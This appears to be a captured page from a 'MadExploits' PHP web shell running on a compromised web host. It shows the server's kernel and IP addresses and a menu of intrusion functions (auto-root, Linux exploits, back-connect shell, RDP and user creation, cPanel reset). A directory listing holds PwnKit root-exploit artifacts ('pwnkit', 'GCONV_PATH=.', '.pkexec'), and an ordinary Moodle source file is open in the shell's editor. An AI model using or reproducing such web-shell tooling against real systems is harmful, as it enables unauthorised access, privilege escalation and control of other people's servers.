Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.45
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
backup /
util /
structure /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
backup_attribute.class.php
2.24
KB
-rw-r--r--
backup_final_element.class.php
2.52
KB
-rw-r--r--
backup_nested_element.class.ph...
12.87
KB
-rw-r--r--
backup_optigroup.class.php
3.84
KB
-rw-r--r--
backup_optigroup_element.class...
7.35
KB
-rw-r--r--
backup_structure_processor.cla...
5.5
KB
-rw-r--r--
base_atom.class.php
5.26
KB
-rw-r--r--
base_attribute.class.php
1.16
KB
-rw-r--r--
base_final_element.class.php
10.42
KB
-rw-r--r--
base_nested_element.class.php
9.61
KB
-rw-r--r--
base_optigroup.class.php
6.34
KB
-rw-r--r--
base_processor.class.php
2.11
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
restore_path_element.class.php
4.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_structure_processor.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package moodlecore * @subpackage backup-structure * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * * TODO: Finish phpdocs */ /** * Instantiable class defining the process of backup structures * * This class will process the given backup structure (nested/final/attribute) * based on its definition, triggering as many actions as necessary (pre/post * triggers, ids annotations, deciding based on settings, xml output...). Somehow * one visitor pattern to allow backup structures to work with nice decoupling */ class backup_structure_processor extends base_processor { protected $writer; // xml_writer where the processor is going to output data protected $vars; // array of backup::VAR_XXX => helper value pairs to be used by source specifications /** * @var \core\progress\base Progress tracker (null if none) */ protected $progress; /** * Constructor. * * @param xml_writer $writer XML writer to save data * @param c\core\progress\base$progress Progress tracker (optional) */ public function __construct(xml_writer $writer, \core\progress\base $progress = null) { $this->writer = $writer; $this->progress = $progress; $this->vars = array(); } public function set_var($key, $value) { if (isset($this->vars[$key])) { throw new backup_processor_exception('processorvariablealreadyset', $key); } $this->vars[$key] = $value; } public function get_var($key) { if (!isset($this->vars[$key])) { throw new backup_processor_exception('processorvariablenotfound', $key); } return $this->vars[$key]; } public function pre_process_nested_element(base_nested_element $nested) { // Send open tag to xml_writer $attrarr = array(); foreach ($nested->get_attributes() as $attribute) { $attrarr[$attribute->get_name()] = $attribute->get_value(); } $this->writer->begin_tag($nested->get_name(), $attrarr); } public function process_nested_element(base_nested_element $nested) { // Proceed with all the file annotations for this element $fileannotations = $nested->get_file_annotations(); if ($fileannotations) { // If there are areas to search $backupid = $this->get_var(backup::VAR_BACKUPID); foreach ($fileannotations as $component => $area) { foreach ($area as $filearea => $info) { $contextid = !is_null($info->contextid) ? $info->contextid : $this->get_var(backup::VAR_CONTEXTID); $itemid = !is_null($info->element) ? $info->element->get_value() : null; backup_structure_dbops::annotate_files($backupid, $contextid, $component, $filearea, $itemid, $this->progress); } } } } public function post_process_nested_element(base_nested_element $nested) { // Send close tag to xml_writer $this->writer->end_tag($nested->get_name()); if ($this->progress) { $this->progress->progress(); } } public function process_final_element(base_final_element $final) { // Send full tag to xml_writer and annotations (only if has value) if ($final->is_set()) { $attrarr = array(); foreach ($final->get_attributes() as $attribute) { $attrarr[$attribute->get_name()] = $attribute->get_value(); } $this->writer->full_tag($final->get_name(), $final->get_value(), $attrarr); if ($this->progress) { $this->progress->progress(); } // Annotate current value if configured to do so $final->annotate($this->get_var(backup::VAR_BACKUPID)); } } public function process_attribute(base_attribute $attribute) { // Annotate current value if configured to do so $attribute->annotate($this->get_var(backup::VAR_BACKUPID)); } } /** * backup_processor exception to control all the errors while working with backup_processors * * This exception will be thrown each time the backup_processors detects some * inconsistency related with the elements to process or its configuration */ class backup_processor_exception extends base_processor_exception { /** * Constructor - instantiates one backup_processor_exception * * @param string $errorcode key for the corresponding error string * @param object $a extra words and phrases that might be required in the error string * @param string $debuginfo optional debugging information */ public function __construct($errorcode, $a = null, $debuginfo = null) { parent::__construct($errorcode, $a, $debuginfo); } }
Close